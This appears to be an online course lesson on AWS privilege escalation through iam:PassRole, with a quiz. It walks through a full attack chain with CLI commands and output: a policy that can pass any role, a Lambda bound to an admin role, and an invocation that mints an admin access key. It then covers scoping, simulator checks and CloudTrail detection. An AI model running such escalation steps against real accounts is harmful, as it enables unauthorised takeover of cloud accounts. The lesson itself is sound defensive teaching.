CoursesAWS security engineeringPassRole & escalation paths

PassRole & escalation paths

The permission combinations that become admin.

Expert35 min · lesson 2 of 15

Here's a policy that would sail through most code reviews. No wildcards on the scary permissions, every line reads like something a deployment pipeline honestly needs, and it quietly turns whoever holds it into an account administrator. That's the shape of nearly every real privilege escalation in AWS (Amazon Web Services, the cloud platform this whole lesson lives in). Not one obviously broken permission. Just a few reasonable ones that click together into full admin.

The permission at the center of most of these is iam:PassRole. Two words of background first. IAM stands for Identity and Access Management, the part of AWS that decides who's allowed to do what. A role is a bundle of permissions that a person or a service can put on temporarily. 'Passing a role' means handing an AWS service a role and telling it: go do this job as this identity. You do it all the time without thinking about it. When you set up a small program to run on Lambda (AWS's service for running code without managing any servers) and tell it to use the data-reader role, you're passing that role to Lambda. PassRole is just the permission to do the handing-over.

Here's the same idea with car keys. You give the valet your keyring so he can go start the car. That's fine if the ring holds one car key. It's a real problem if it also holds your house key, your office key, and the key to the safe. PassRole is you handing over a keyring, and the only question that matters is which keys are on it.

On its own, PassRole does nothing. You could hold it for years and never touch a single resource, which is exactly why it slips through reviews. It grows teeth only when it's paired with a service that will run your code wearing the role you passed: lambda:CreateFunction, ec2:RunInstances, ecs:RunTask, glue:CreateJob, codebuild:CreateProject. Those services will happily execute whatever code you hand them, using whatever role you attach. So if a low-privilege account can bolt a powerful role onto a function it wrote and then run that function, it's now acting with the powerful role's permissions. It borrowed the keys by getting something else to drive the car.

A real escalation, start to finish

Meet ci-bot, an ordinary IAM user whose long-lived access key turned up in a public GitHub repository. (An access key is just a username-and-password pair for machines, so a program can log in without a human typing anything.) The first thing anyone does with a found key is ask what it can reach. Pull up the policy attached to it, and the two statements both read clean on their own.

reproduce-ci-bot-policy.sh
cat > ci-bot-deploy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{ "Sid": "Deploy", "Effect": "Allow",
"Action": ["lambda:CreateFunction", "lambda:InvokeFunction", "lambda:UpdateFunctionCode"],
"Resource": "*" },
{ "Sid": "PassAnyRole", "Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "*" }
]
}
JSON
aws iam create-policy \
--policy-name ci-bot-deploy \
--policy-document file://ci-bot-deploy.json
{
"Policy": {
"PolicyName": "ci-bot-deploy",
"PolicyId": "ANPAI3EXAMPLE7XVXQ2K4",
"Arn": "arn:aws:iam::111122223333:policy/ci-bot-deploy",
"DefaultVersionId": "v1",
"AttachmentCount": 0,
"IsAttachable": true,
"CreateDate": "2026-05-12T09:41:07+00:00"
}
}

Nothing there trips an alarm on a fast read. The PassRole statement is scoped to Resource star (a wildcard meaning 'any role at all'), but reviewers see 'it's only PassRole' and scroll on. Sitting right next to lambda:CreateFunction and lambda:InvokeFunction, that star is the whole attack. The attacker's next move is to find a role worth stealing, and here's the detail most writeups skip: it has to be a role that Lambda is actually allowed to wear.

Passing a role to Lambda only works if the role's trust policy names lambda.amazonaws.com as an allowed user. A trust policy is the role's guest list: it spells out exactly who's allowed to put the role on. Plenty of admin roles trust only human login sessions or the account's root user, and trying to hand one of those to a function just fails. So the attacker hunts for the powerful-but-service-trusting role. In this account it's OrgAdminRole: it has AdministratorAccess attached, and its guest list still includes Lambda because someone wired up an automation two years ago and never tightened it. Attach it to a new function.

create-function.sh
aws lambda create-function \
--function-name reporting-helper \
--runtime python3.13 \
--role arn:aws:iam::111122223333:role/OrgAdminRole \
--handler index.handler \
--zip-file fileb://payload.zip \
--timeout 30
{
"FunctionName": "reporting-helper",
"FunctionArn": "arn:aws:lambda:us-east-1:111122223333:function:reporting-helper",
"Runtime": "python3.13",
"Role": "arn:aws:iam::111122223333:role/OrgAdminRole",
"Handler": "index.handler",
"CodeSize": 312,
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": ["x86_64"]
}

AWS runs the PassRole check right here, at the moment the function is created, not later when it executes. Because ci-bot's policy allows passing any role, the check passes and the function comes up wired to full-admin credentials. All that's left is to run it. The handler can be three lines of Python that mint a brand-new access key on a real administrator account.

invoke.sh
aws lambda invoke \
--function-name reporting-helper \
--cli-binary-format raw-in-base64-out \
--payload '{"target_user": "backup-admin"}' \
response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
cat response.json
{"ok": true, "target_user": "backup-admin", "AccessKeyId": "AKIA2XVXQ2K4BQZK7QEX", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}

That access key belongs to a human admin, never expires, and works from any laptop on earth. ci-bot started the day able to deploy functions. It ended the day holding permanent administrator credentials, and every single step it took was individually authorized.

Close it: shrink the keyring, then prove it

Two changes fix this, and you need both. First, name the exact roles that may be passed in the Resource field, never a star. Second, add the iam:PassedToService condition so a role can only be handed to the one AWS service that's meant to use it. Do just one and the door stays open. A condition that says 'only pass to Lambda' means nothing if Resource is still a star, because Lambda is a service the attacker controls; they'll pass an admin role to their own function. Narrowing Resource without the service condition leaves a passed role reachable by services you never intended. Both together is what actually closes it.

scope-passrole.sh
cat > ci-bot-fixed.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{ "Sid": "Deploy", "Effect": "Allow",
"Action": ["lambda:CreateFunction", "lambda:InvokeFunction", "lambda:UpdateFunctionCode"],
"Resource": "arn:aws:lambda:us-east-1:111122223333:function:app-*" },
{ "Sid": "PassOnlyAppRoleToLambda", "Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::111122223333:role/app-task-role",
"Condition": { "StringEquals": { "iam:PassedToService": "lambda.amazonaws.com" } } }
]
}
JSON
aws iam create-policy-version \
--policy-arn arn:aws:iam::111122223333:policy/ci-bot-deploy \
--policy-document file://ci-bot-fixed.json \
--set-as-default
{
"PolicyVersion": {
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2026-07-16T14:22:51+00:00"
}
}

Never just trust that a policy does what you meant it to. Ask IAM directly. The policy simulator takes one specific request and runs it against the principal's real, attached policies, then tells you allow or deny without touching anything live. It's a dry run for permissions.

verify.sh
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::111122223333:user/ci-bot \
--action-names iam:PassRole \
--resource-arns arn:aws:iam::111122223333:role/OrgAdminRole \
--context-entries "ContextKeyName=iam:PassedToService,ContextKeyType=string,ContextKeyValues=lambda.amazonaws.com"
{
"EvaluationResults": [
{
"EvalActionName": "iam:PassRole",
"EvalResourceName": "arn:aws:iam::111122223333:role/OrgAdminRole",
"EvalDecision": "implicitDeny",
"MatchedStatements": [],
"MissingContextValues": []
}
],
"IsTruncated": false
}

implicitDeny is the result you want, and the word 'implicit' is the tell: no statement matched the request, so nothing granted the action. ci-bot can no longer pass OrgAdminRole anywhere. Run the same check with the app's real role and PassedToService set to lambda.amazonaws.com and you'll get allowed, so the pipeline keeps deploying exactly as before. The escalation path is gone and nothing legitimate broke.

PassRole is the common lever, not the only one. The same 'two tidy permissions add up to admin' pattern shows up as identity self-edits: iam:CreatePolicyVersion or iam:SetDefaultPolicyVersion to quietly rewrite a policy already attached to you, iam:AttachUserPolicy or iam:PutUserPolicy to grant yourself more, iam:UpdateAssumeRolePolicy to add yourself to a role's guest list, iam:CreateAccessKey to mint a key on somebody else's user. Review each of them the way you review PassRole. When you read a policy, don't only ask what each statement allows. Ask what the holder could turn itself into.

Your audit log has no PassRole event to alert on
There's no standalone PassRole call, so the audit trail never records a 'PassRole' event you can build an alert on. CloudTrail, the log AWS keeps of every action taken in your account, only sees the call that consumed the role: lambda:CreateFunction, ec2:RunInstances, glue:CreateJob. To catch this abuse you have to watch those calls and inspect the role each one attaches, then flag any that hand a high-privilege role to an account with no business using it. If your detection is hunting for an event literally named PassRole, it will never fire once.
How PassRole plus a compute service becomes admin
1Two clean permissions
ci-bot can pass any role (Resource *) and can call lambda:CreateFunction. Both statements pass review on their own.
2Attach the admin role
Create a Lambda and bind OrgAdminRole to it. PassRole is authorized here, at creation time, and it's allowed.
3Invoke the function
The attacker's own handler code now executes with OrgAdminRole's full credentials.
4Standing admin
The code mints a fresh access key on a real admin user. ci-bot has escalated from deployer to administrator.
Quick check
01You add a condition, iam:PassedToService equals lambda.amazonaws.com, to ci-bot's PassRole statement, but you leave Resource as star. Is the escalation closed?
Incorrect — No. The service condition controls which service can receive a role, not which role. With Resource still star, ci-bot can pass OrgAdminRole to a Lambda it controls, which is the original attack unchanged.
Correct — The two controls do different jobs: PassedToService limits the service, a specific Resource limits which roles can be passed at all. Lambda is a service the attacker drives, so the condition alone changes nothing.
Incorrect — No. Whether Lambda can assume the role depends on that role's trust policy, not on your PassRole condition. If the admin role trusts lambda.amazonaws.com, the pass still succeeds.
Incorrect — No. Detection is a backstop, not a fix, and there's no PassRole event to alert on anyway. The policy still authorizes the escalation.
02An attacker holds iam:PassRole on Resource star plus lambda:CreateFunction. For them to actually escalate by attaching a powerful role to a Lambda function they wrote, what must also be true of the target role?
Incorrect — PassRole is a permission the caller needs, not something the target role carries; the role's own permissions decide what it can do once assumed, not whether it can be passed.
Incorrect — no prior attachment is needed; a brand-new function can bind the role at creation as long as the trust policy permits Lambda.
Incorrect — that lever is only needed to add Lambda to a role that does not already trust it; if the trust policy already lists Lambda, no rewrite is required.
Correct — Lambda can only wear a role whose trust policy (its guest list) names lambda.amazonaws.com; a role trusting only human sessions or root cannot be handed to a function.
03Your detection team writes an alert that fires on any CloudTrail event named iam:PassRole. After a real PassRole-based escalation through Lambda, the alert never fired once. Why, and what should they watch instead?
Incorrect — the problem is not severity filtering; CloudTrail records no PassRole event at any severity, so nothing matches the rule.
Incorrect — even with CloudTrail fully on, there is no standalone PassRole event; the permission is consumed inside another call.
Correct — there is no standalone PassRole API call in the trail, so detection must watch the calls that consume a role and flag any that hand a high-privilege role to a principal with no business using it.
Incorrect — passing a role to a service such as Lambda does not emit an sts:AssumeRole event from the caller; the giveaway is the create or run call that binds the role.

One last thing about ci-bot. The only reason any of this was reachable is that ci-bot is a long-lived IAM user carrying a permanent access key, the kind that ends up in a git history or an old laptop backup and stays valid until a human happens to notice. Scoping PassRole shrinks the damage when a key like that leaks. Not issuing the static key in the first place shrinks the target itself. That's where the next lesson goes.

Try this

Work through “Close it: shrink the keyring, then prove it” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: your audit log has no PassRole event to alert on. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related